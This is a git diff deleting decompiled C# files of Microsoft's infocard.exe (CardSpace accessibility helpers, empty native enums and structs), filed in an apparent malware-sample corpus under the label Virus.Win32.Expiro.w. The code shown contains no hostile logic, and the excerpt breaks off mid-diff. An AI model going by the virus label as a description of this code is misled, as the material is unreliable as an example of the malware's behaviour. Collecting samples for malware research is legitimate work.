-[assembly: SatelliteContractVersion("3.0.0.0")] -[assembly: AssemblyFileVersion("3.0.4506.648")] -[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] -[assembly: NeutralResourcesLanguage("en-US")] -[assembly: AssemblyInformationalVersion("3.0.4506.648")] -[assembly: ComVisible(false)] -[assembly: AssemblyCompany("Microsoft Corporation")] -[assembly: AssemblyDefaultAlias("infocard.exe")] -[assembly: AssemblyDescription("infocard.exe")] -[assembly: AssemblyTitle("infocard.exe")] -[assembly: CLSCompliant(false)] -[assembly: AssemblyProduct("Microsoft® .NET Framework")] -[assembly: AssemblyKeyFile("F:\\dd\\Tools\\devdiv\\EcmaPublicKey.snk")] -[assembly: AssemblyDelaySign(true)] -[assembly: AssemblyVersion("3.0.0.0")] -[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)] diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/BrowserNavConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/BrowserNavConstants.cs deleted file mode 100644 index f49b8583..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/BrowserNavConstants.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: BrowserNavConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum BrowserNavConstants -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/CallMode.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/CallMode.cs deleted file mode 100644 index 88e9d29d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/CallMode.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: CallMode -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum CallMode -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/CommandStateChangeConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/CommandStateChangeConstants.cs deleted file mode 100644 index 5bdbf043..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/CommandStateChangeConstants.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: CommandStateChangeConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum CommandStateChangeConstants -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/EHExceptionRecord.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/EHExceptionRecord.cs deleted file mode 100644 index e0ead204..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/EHExceptionRecord.cs +++ /dev/null @@ -1,26 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: EHExceptionRecord -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[NativeCppClass] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 32)] -internal struct EHExceptionRecord -{ - [DebugInfoInPDB] - [CLSCompliant(false)] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 12)] - public struct EHParameters - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/HDC__.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/HDC__.cs deleted file mode 100644 index 05d54b66..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/HDC__.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: HDC__ -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[NativeCppClass] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 4)] -internal struct HDC__ -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/HINSTANCE__.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/HINSTANCE__.cs deleted file mode 100644 index 84f7d5b0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/HINSTANCE__.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: HINSTANCE__ -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 4)] -internal struct HINSTANCE__ -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/HWND__.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/HWND__.cs deleted file mode 100644 index 4b86bf56..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/HWND__.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: HWND__ -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[NativeCppClass] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 4)] -internal struct HWND__ -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/IGNOREMIME.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/IGNOREMIME.cs deleted file mode 100644 index eeddad3c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/IGNOREMIME.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: IGNOREMIME -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum IGNOREMIME -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/IMAGE_AUX_SYMBOL_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/IMAGE_AUX_SYMBOL_TYPE.cs deleted file mode 100644 index 0e371f92..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/IMAGE_AUX_SYMBOL_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: IMAGE_AUX_SYMBOL_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum IMAGE_AUX_SYMBOL_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/IMPORT_OBJECT_NAME_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/IMPORT_OBJECT_NAME_TYPE.cs deleted file mode 100644 index e781a0d2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/IMPORT_OBJECT_NAME_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: IMPORT_OBJECT_NAME_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum IMPORT_OBJECT_NAME_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/IMPORT_OBJECT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/IMPORT_OBJECT_TYPE.cs deleted file mode 100644 index 060f89d1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/IMPORT_OBJECT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: IMPORT_OBJECT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum IMPORT_OBJECT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AccessibilityApplicationManager.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AccessibilityApplicationManager.cs deleted file mode 100644 index ed2f0201..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AccessibilityApplicationManager.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AccessibilityApplicationManager -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class AccessibilityApplicationManager - { - private const int WindowsVistaMajorVersion = 6; - private IAccessibilityHelper m_helper; - - public AccessibilityApplicationManager() - { - bool fTabletPC = 0 != NativeMethods.GetSystemMetrics(86); - if (Environment.OSVersion.Version.Major < 6) - this.m_helper = (IAccessibilityHelper) new AccessibilityHelperForXpWin2k3(fTabletPC); - else - this.m_helper = (IAccessibilityHelper) new AccessibilityHelperForVista(fTabletPC); - } - - public void Stop() => this.m_helper.Stop(); - - public void RestartOnInfoCardDesktop( - uint userATApplicationFlags, - SafeNativeHandle hTrustedUserToken, - ref string trustedUserSid, - string infocardDesktop, - int userSessionId, - uint userProcessId, - WindowsIdentity userIdentity) - { - this.m_helper.RestartOnInfoCardDesktop(userATApplicationFlags, hTrustedUserToken, ref trustedUserSid, infocardDesktop, userSessionId, userProcessId, userIdentity); - } - - public bool RestartOnUsersDesktop( - uint userProcessId, - string userDesktop, - WindowsIdentity userIdentity) - { - return this.m_helper.RestartOnUsersDesktop(userProcessId, userDesktop, userIdentity); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AccessibilityHelperForVista.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AccessibilityHelperForVista.cs deleted file mode 100644 index 71e5413f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AccessibilityHelperForVista.cs +++ /dev/null @@ -1,124 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AccessibilityHelperForVista -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class AccessibilityHelperForVista : IAccessibilityHelper, IDisposable - { - private static readonly string systemPath = Environment.GetFolderPath(Environment.SpecialFolder.System); - private static readonly string progfilePath = Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles); - private static readonly string baseATPath = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs"; - private static readonly string configPath = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\Session"; - private List m_applicationList = new List(); - private ProcessManager m_manager; - private bool m_fResetConfigKey; - private int m_sessionId; - private bool m_fTabletPC; - - public AccessibilityHelperForVista(bool fTabletPC) - { - this.m_fTabletPC = fTabletPC; - this.InitializeATAppData(); - } - - private void InitializeATAppData() - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(AccessibilityHelperForVista.baseATPath); - foreach (string subKeyName in registryKey.GetSubKeyNames()) - { - string str = (string) registryKey.OpenSubKey(subKeyName).GetValue("ATExe"); - if (!string.IsNullOrEmpty(str)) - this.m_applicationList.Add(str); - } - } - - void IAccessibilityHelper.Stop() - { - if (this.m_manager == null) - return; - this.m_manager.Dispose(); - this.m_manager = (ProcessManager) null; - } - - bool IAccessibilityHelper.RestartOnUsersDesktop( - uint userProcessId, - string userDesktop, - WindowsIdentity userIdentity) - { - InfoCardTrace.Assert(null == this.m_manager, "The AT applications must be terminated before they can be restarted"); - if (!this.m_fResetConfigKey) - return false; - Registry.LocalMachine.OpenSubKey(AccessibilityHelperForVista.configPath + (object) this.m_sessionId, true).SetValue("Configuration", (object) ""); - this.m_fResetConfigKey = false; - return true; - } - - void IAccessibilityHelper.RestartOnInfoCardDesktop( - uint userATApplicationFlags, - SafeNativeHandle hTrustedUserToken, - ref string trustedUserSid, - string infocardDesktop, - int userSessionId, - uint userProcessId, - WindowsIdentity userIdentity) - { - using (new SystemIdentity(false)) - { - InfoCardTrace.Assert(null == this.m_manager, "The AT applications are already started"); - this.m_fResetConfigKey = false; - this.m_sessionId = userSessionId; - string str = userIdentity.User.Value; - for (int index = 0; index < this.m_applicationList.Count; ++index) - { - string application = this.m_applicationList[index]; - Process[] processesByName = Process.GetProcessesByName(application.Substring(0, application.LastIndexOf('.'))); - if (processesByName != null) - { - foreach (Process p in processesByName) - { - if (userSessionId == p.SessionId) - { - this.m_fResetConfigKey = true; - if (!Utility.KillHelper(p)) - break; - break; - } - } - } - } - if (this.m_manager == null) - this.m_manager = new ProcessManager(userSessionId, trustedUserSid); - string fullPath1 = Path.Combine(AccessibilityHelperForVista.systemPath, "AtBroker.exe"); - if (userATApplicationFlags != 0U) - { - bool fUseElevatedToken = false; - this.m_manager.AddProcess(hTrustedUserToken, ref trustedUserSid, infocardDesktop, userProcessId, userIdentity, fullPath1, "", fUseElevatedToken); - } - if (!this.m_fTabletPC) - return; - string fullPath2 = Path.Combine(AccessibilityHelperForVista.progfilePath, "microsoft shared\\ink\\tabtip.exe"); - bool fUseElevatedToken1 = true; - this.m_manager.AddProcess(hTrustedUserToken, ref trustedUserSid, infocardDesktop, userProcessId, userIdentity, fullPath2, "/SeekDesktop:", fUseElevatedToken1); - } - } - - public void Dispose() - { - if (this.m_manager == null) - return; - this.m_manager.Dispose(); - this.m_manager = (ProcessManager) null; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AccessibilityHelperForXpWin2k3.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AccessibilityHelperForXpWin2k3.cs deleted file mode 100644 index 2fe5fea3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AccessibilityHelperForXpWin2k3.cs +++ /dev/null @@ -1,169 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AccessibilityHelperForXpWin2k3 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class AccessibilityHelperForXpWin2k3 : IAccessibilityHelper, IDisposable - { - private const int OSKIndex = 0; - private static readonly string systemPath = Environment.GetFolderPath(Environment.SpecialFolder.System); - private static readonly string baseRegistryPath = "\\SOFTWARE\\Microsoft\\Utility Manager\\"; - private static readonly string keyName = "Start on locked desktop"; - internal static AccessibilityHelperForXpWin2k3.DownlevelAtData[] atApplications = new AccessibilityHelperForXpWin2k3.DownlevelAtData[3] - { - new AccessibilityHelperForXpWin2k3.DownlevelAtData("On-Screen Keyboard", "osk.exe", "msswchx"), - new AccessibilityHelperForXpWin2k3.DownlevelAtData("Magnifier", "magnify.exe", (string) null), - new AccessibilityHelperForXpWin2k3.DownlevelAtData("Narrator", "narrator.exe", (string) null) - }; - private List m_restartList = new List(); - private ProcessManager m_manager; - private bool m_fTabletPC; - - public AccessibilityHelperForXpWin2k3(bool fTabletPC) => this.m_fTabletPC = fTabletPC; - - void IAccessibilityHelper.Stop() - { - if (this.m_manager == null) - return; - this.m_manager.Dispose(); - this.m_manager = (ProcessManager) null; - } - - bool IAccessibilityHelper.RestartOnUsersDesktop( - uint userProcessId, - string userDesktop, - WindowsIdentity userIdentity) - { - InfoCardTrace.Assert(null == this.m_manager, "The AT applications must be terminated before they can be restarted"); - using (new SystemIdentity(false)) - { - foreach (int restart in this.m_restartList) - { - string application = Path.Combine(AccessibilityHelperForXpWin2k3.systemPath, AccessibilityHelperForXpWin2k3.atApplications[restart].Image); - int pid = 0; - int userHelperWrapper = (int) NativeMcppMethods.CreateProcessAsUserHelperWrapper(application, "", userProcessId, userDesktop, userIdentity.Name, ref pid); - } - } - this.m_restartList.Clear(); - return false; - } - - void IAccessibilityHelper.RestartOnInfoCardDesktop( - uint ATApplicationFlags, - SafeNativeHandle hTrustedUserToken, - ref string trustedUserSid, - string infocardDesktop, - int userSessionId, - uint userProcessId, - WindowsIdentity userIdentity) - { - using (new SystemIdentity(false)) - { - InfoCardTrace.Assert(null == this.m_manager, "The AT applications are already started"); - this.m_restartList.Clear(); - bool flag1 = false; - string str = userIdentity.User.Value; - for (int index = 0; index < AccessibilityHelperForXpWin2k3.atApplications.Length; ++index) - { - using (RegistryKey registryKey = Registry.Users.OpenSubKey(str + AccessibilityHelperForXpWin2k3.baseRegistryPath + AccessibilityHelperForXpWin2k3.atApplications[index].RegistryPath)) - { - bool flag2 = false; - int? nullable1 = new int?(); - if (registryKey != null && RegistryValueKind.DWord == registryKey.GetValueKind(AccessibilityHelperForXpWin2k3.keyName)) - nullable1 = new int?((int) registryKey.GetValue(AccessibilityHelperForXpWin2k3.keyName)); - if (nullable1.HasValue) - { - int? nullable2 = nullable1; - if ((1 != nullable2.GetValueOrDefault() ? 0 : (nullable2.HasValue ? 1 : 0)) != 0) - goto label_9; - } - if (this.m_fTabletPC) - { - if (index != 0) - continue; - } - else - continue; -label_9: - foreach (Process p in Process.GetProcessesByName(AccessibilityHelperForXpWin2k3.atApplications[index].Image.Substring(0, AccessibilityHelperForXpWin2k3.atApplications[index].Image.LastIndexOf('.')))) - { - flag2 = false; - if (userSessionId == p.SessionId) - { - flag2 = true; - this.m_restartList.Add(index); - if (!Utility.KillHelper(p)) - break; - break; - } - } - if (flag2 && AccessibilityHelperForXpWin2k3.atApplications[index].AdditionalImage != null) - { - foreach (Process p in Process.GetProcessesByName(AccessibilityHelperForXpWin2k3.atApplications[index].AdditionalImage)) - { - if (userSessionId == p.SessionId && Utility.KillHelper(p)) - break; - } - } - if (nullable1.HasValue) - { - int? nullable3 = nullable1; - if ((1 != nullable3.GetValueOrDefault() ? 0 : (nullable3.HasValue ? 1 : 0)) != 0) - { - if (ATApplicationFlags != 0U) - { - string fullPath = Path.Combine(AccessibilityHelperForXpWin2k3.systemPath, AccessibilityHelperForXpWin2k3.atApplications[index].Image); - if (this.m_manager == null) - this.m_manager = new ProcessManager(userSessionId, trustedUserSid); - bool fUseElevatedToken = false; - this.m_manager.AddProcess(hTrustedUserToken, ref trustedUserSid, infocardDesktop, userProcessId, userIdentity, fullPath, "", fUseElevatedToken); - if (index == 0) - flag1 = true; - } - } - } - } - } - if (!this.m_fTabletPC || flag1) - return; - if (this.m_manager == null) - this.m_manager = new ProcessManager(userSessionId, trustedUserSid); - bool fUseElevatedToken1 = false; - this.m_manager.AddProcess(hTrustedUserToken, ref trustedUserSid, infocardDesktop, userProcessId, userIdentity, Path.Combine(AccessibilityHelperForXpWin2k3.systemPath, AccessibilityHelperForXpWin2k3.atApplications[0].Image), "", fUseElevatedToken1); - } - } - - public void Dispose() - { - if (this.m_manager == null) - return; - this.m_manager.Dispose(); - this.m_manager = (ProcessManager) null; - } - - internal struct DownlevelAtData - { - public string RegistryPath; - public string Image; - public string AdditionalImage; - - public DownlevelAtData(string path, string image, string additional) - { - this.RegistryPath = path; - this.Image = image; - this.AdditionalImage = additional; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AppliesToBehaviorDecision.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AppliesToBehaviorDecision.cs deleted file mode 100644 index 86eec886..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AppliesToBehaviorDecision.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AppliesToBehaviorDecision -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -namespace Microsoft.InfoCards -{ - internal enum AppliesToBehaviorDecision : byte - { - DoNotSend, - SendRPAppliesTo, - SendCustomAppliesTo, - FailMatch, - } -} diff --git 